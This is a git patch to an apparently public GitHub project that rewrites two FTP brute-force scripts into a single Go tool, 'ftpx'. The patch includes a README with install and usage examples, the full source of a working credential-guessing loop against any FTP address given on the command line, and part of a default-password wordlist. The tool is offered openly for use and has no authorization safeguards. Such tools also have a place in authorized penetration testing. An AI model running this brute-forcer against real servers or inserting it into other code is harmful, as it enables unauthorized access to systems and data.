From 74339232e0a9a7afc57609b54f50441603800728 Mon Sep 17 00:00:00 2001 From: Bhagirath Saxena <72344025+rix4uni@users.noreply.github.com> Date: Wed, 9 Oct 2024 21:32:29 +0530 Subject: [PATCH] Improved --- README.md | 76 ++++++++---- ftp-brute-force-default-credentails.go | 59 ---------- ftp-brute-force.go | 56 --------- ftpx.go | 110 ++++++++++++++++++ go.mod | 10 ++ go.sum | 14 +++ .../ftp-password.txt | 4 +- .../ftp-username-password.txt | 0 8 files changed, 189 insertions(+), 140 deletions(-) delete mode 100644 ftp-brute-force-default-credentails.go delete mode 100644 ftp-brute-force.go create mode 100644 ftpx.go create mode 100644 go.mod create mode 100644 go.sum rename ftp-password.txt => wordlists/ftp-password.txt (97%) rename ftp-username-password.txt => wordlists/ftp-username-password.txt (100%) diff --git a/README.md b/README.md index eb3f6cb..2b94ae1 100644 --- a/README.md +++ b/README.md @@ -1,35 +1,65 @@ -# FTPBruteForce +## ftpx +ftpx - A faster & simpler way to bruteforce FTP server -# Installation +## Installation +``` +go install github.com/rix4uni/ftpx@latest +``` +## Download prebuilt binaries ``` -git clone https://github.com/rix4uni/FTPBruteForce.git -cd FTPBruteForce +wget https://github.com/rix4uni/ftpx/releases/download/v0.0.2/ftpx-linux-amd64-0.0.2.tgz +tar -xvzf ftpx-linux-amd64-0.0.2.tgz +rm -rf ftpx-linux-amd64-0.0.2.tgz +mv ftpx ~/go/bin/ftpx ``` +Or download [binary release](https://github.com/rix4uni/ftpx/releases) for your platform. -# Usage -ftp login bruteforce for one username with multiple passwords +## Compile from source ``` -options: - -ip string - IP and port for FTP login (default "127.0.0.1:21") - -p string - file containing passwords to try (default "ftp-password.txt") - -u string - username for FTP login (default "anonymous") -examples: - go run ftp-brute-force.go -u anonymous -ip 127.0.0.1:21 -p ftp-password.txt +git clone --depth 1 github.com/rix4uni/ftpx.git +cd ftpx; go install ``` -# Usage -ftp login bruteforce for default credentails +## Usage ``` -options: +Usage of ftpx: -ip string - IP and port for FTP login (default "127.0.0.1:21") - -up string - File containing usernames & passwords (default "ftp-username-password.txt") -examples: - go run ftp-brute-force-default-credentails.go -ip 127.0.0.1:21 -up ftp-username-password.txt + IP and port for FTP login + -mode string + Mode of operation: 'su' for single-username or 'upc' for username-password-combination + -username string + Username for FTP login (required for 'su' mode) + -version + Print the version of the tool and exit. + -wordlist string + File containing passwords or usernames & passwords +``` + +## Usage Examples +#### bruteforce single ip with single username and multiple passwords wordlist ``` +# Command: +ftpx -mode su -ip 127.0.0.1:21 -username anonymous -wordlist ftp-password.txt + +# Output +[+] Trying anonymous:12hrs37 +[+] Trying anonymous:rootpasswdb1uRR3 +[+] Trying anonymous:admin +[+] Trying anonymous:localadmin +Password Not Found with ip:127.0.0.1:21 +``` + +#### bruteforce single ip with default username and password wordlist +``` +# Command: +ftpx -mode upc -ip 127.0.0.1:21 -wordlist ftp-username-password.txt + +# Output +[+] Trying anonymous:anonymous +[+] Trying root:rootpasswd +[+] Trying root:12hrs37 +[+] Trying ftp:b1uRR3 +Successfully logged in with ip:127.0.0.1:21 username:admin password:default +``` \ No newline at end of file diff --git a/ftp-brute-force-default-credentails.go b/ftp-brute-force-default-credentails.go deleted file mode 100644 index d6b0230..0000000 --- a/ftp-brute-force-default-credentails.go +++ /dev/null @@ -1,59 +0,0 @@ -package main - -import ( - "flag" - "fmt" - "io/ioutil" - "strings" - "os" - "github.com/jlaffaye/ftp" -) - -func main() { - ip := flag.String("ip", "127.0.0.1:21", "IP and port for FTP login") - userpassFile := flag.String("up" , "ftp-username-password.txt","File containing usernames & passwords") - flag.Parse() - - // Open the file - file, err := ioutil.ReadFile(*userpassFile) - if err != nil { - fmt.Println(err) - return - } - - // Split the file contents by newlines - lines := strings.Split(string(file), "\n") - found:=false - // Iterate through each line - for _, line := range lines { - // Split the line by colons - parts := strings.Split(line, ":") - - username := parts[0] - password := parts[1] - - // Try to log in - client, err := ftp.Dial(*ip) - if err != nil { - fmt.Println(err) - continue - } - - // Print "Trying password" - fmt.Printf("Trying %s:%s\n",username,password) - - err = client.Login(username, password) - if err == nil { - // If the login is successful, print the password and exit the program - fmt.Printf("Successfully login with ip:%s username:%s password:%s\n",*ip,username,password) - client.Quit() - found=true - os.Exit(0) - } else { - client.Quit() - } - } - if !found { - fmt.Println("Password Not Found") - } -} \ No newline at end of file diff --git a/ftp-brute-force.go b/ftp-brute-force.go deleted file mode 100644 index 4b2d57a..0000000 --- a/ftp-brute-force.go +++ /dev/null @@ -1,56 +0,0 @@ -package main - -import ( - "flag" - "fmt" - "io/ioutil" - "strings" - "os" - "github.com/jlaffaye/ftp" -) - -func main() { - username := flag.String("u", "anonymous", "username for FTP login") - ip := flag.String("ip", "127.0.0.1:21", "IP and port for FTP login") - passFile := flag.String("p", "ftp-password.txt", "file containing passwords to try") - flag.Parse() - - // Open the file - file, err := ioutil.ReadFile(*passFile) - if err != nil { - fmt.Println(err) - return - } - - // Split the file contents by newlines - lines := strings.Split(string(file), "\n") - found:=false - // Iterate through each line - for _, line := range lines { - password := line - - // Try to log in - client, err := ftp.Dial(*ip) - if err != nil { - fmt.Println(err) - continue - } - - // Print "Trying password" - fmt.Printf("Trying %s:%s\n",*username,password) - - err = client.Login(*username, password) - if err == nil { - // If the login is successful, print the password and exit the program - fmt.Printf("Successfully login with ip:%s username:%s password:%s\n",*ip,*username,password) - client.Quit() - found=true - os.Exit(0) - } else { - client.Quit() - } - } - if !found { - fmt.Println("Password Not Found") - } -} \ No newline at end of file diff --git a/ftpx.go b/ftpx.go new file mode 100644 index 0000000..4f742f8 --- /dev/null +++ b/ftpx.go @@ -0,0 +1,110 @@ +package main + +import ( + "flag" + "fmt" + "io/ioutil" + "strings" + "os" + "github.com/jlaffaye/ftp" +) + +// prints the version message +const version = "0.0.2" + +func printVersion() { + fmt.Printf("Current subdog version %s\n", version) +} + +func main() { + // Define flags with short names + mode := flag.String("mode", "", "Mode of operation: 'su' for single-username or 'upc' for username-password-combination") + ip := flag.String("ip", "", "IP and port for FTP login") + wordlist := flag.String("wordlist", "", "File containing passwords or usernames & passwords") + username := flag.String("username", "", "Username for FTP login (required for 'su' mode)") + version := flag.Bool("version", false, "Print the version of the tool and exit.") + flag.Parse() + + // Print version and exit if -version flag is provided + if *version { + printVersion() + return + } + + // Convert short mode names to full names + if *mode == "su" { + *mode = "single-username" + } else if *mode == "upc" { + *mode = "username-password-combination" + } else { + fmt.Println("Invalid mode specified. Use 'su' or 'upc'.") + return + } + + if *mode == "single-username" && *username == "" { + fmt.Println("Username is required for single-username mode.") + return + } + + // Open the file + file, err := ioutil.ReadFile(*wordlist) + if err != nil { + fmt.Println(err) + return + } + + // Split the file contents by newlines + lines := strings.Split(string(file), "\n") + found := false + + // Iterate through each line + for _, line := range lines { + // Trim whitespace and skip empty lines + line = strings.TrimSpace(line) + if line == "" { + continue // Skip empty lines + } + + // Determine the password or username:password + var password string + var user string + + if *mode == "single-username" { + password = line + user = *username + } else if *mode == "username-password-combination" { + parts := strings.Split(line, ":") + if len(parts) < 2 { + fmt.Printf("Invalid line in userpass file: %s\n", line) + continue + } + user = parts[0] + password = parts[1] + } + + // Try to log in + client, err := ftp.Dial(*ip) + if err != nil { + fmt.Println("Program stopped because of connection timeout.") + return // Exit the program if there's a connection error + } + + // Print "Trying password" + fmt.Printf("[+] Trying %s:%s\n", user, password) + + err = client.Login(user, password) + if err == nil { + // If the login is successful, print the password and exit the program + fmt.Printf("Successfully logged in with ip:%s username:%s password:%s\n", *ip, user, password) + client.Quit() + found = true + os.Exit(0) + } else { + client.Quit() + } + } + + if !found { + fmt.Printf("Password Not Found with ip:%s\n", *ip) + } +} diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..c7c75b0 --- /dev/null +++ b/go.mod @@ -0,0 +1,10 @@ +module github.com/rix4uni/ftpx + +go 1.23.0 + +require github.com/jlaffaye/ftp v0.2.0 + +require ( + github.com/hashicorp/errwrap v1.0.0 // indirect + github.com/hashicorp/go-multierror v1.1.1 // indirect +) diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..e77a547 --- /dev/null +++ b/go.sum @@ -0,0 +1,14 @@ +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA= +github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= +github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo= +github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM= +github.com/jlaffaye/ftp v0.2.0 h1:lXNvW7cBu7R/68bknOX3MrRIIqZ61zELs1P2RAiA3lg= +github.com/jlaffaye/ftp v0.2.0/go.mod h1:is2Ds5qkhceAPy2xD6RLI6hmp/qysSoymZ+Z2uTnspI= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/testify v1.8.3 h1:RP3t2pwF7cMEbC1dqtB6poj3niw/9gnV4Cjg5oW5gtY= +github.com/stretchr/testify v1.8.3/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/ftp-password.txt b/wordlists/ftp-password.txt similarity index 97% rename from ftp-password.txt rename to wordlists/ftp-password.txt index 8a57262..7b37c95 100644 --- a/ftp-password.txt +++ b/wordlists/ftp-password.txt @@ -1,4 +1,3 @@ -anonymous 12hrs37 rootpasswdb1uRR3 admin @@ -47,4 +46,5 @@ user00 ko2003wa maygion.com 9999 -PlcmSpIp \ No newline at end of file +PlcmSpIp +anonymous diff --git a/ftp-username-password.txt b/wordlists/ftp-username-password.txt similarity index 100% rename from ftp-username-password.txt rename to wordlists/ftp-username-password.txt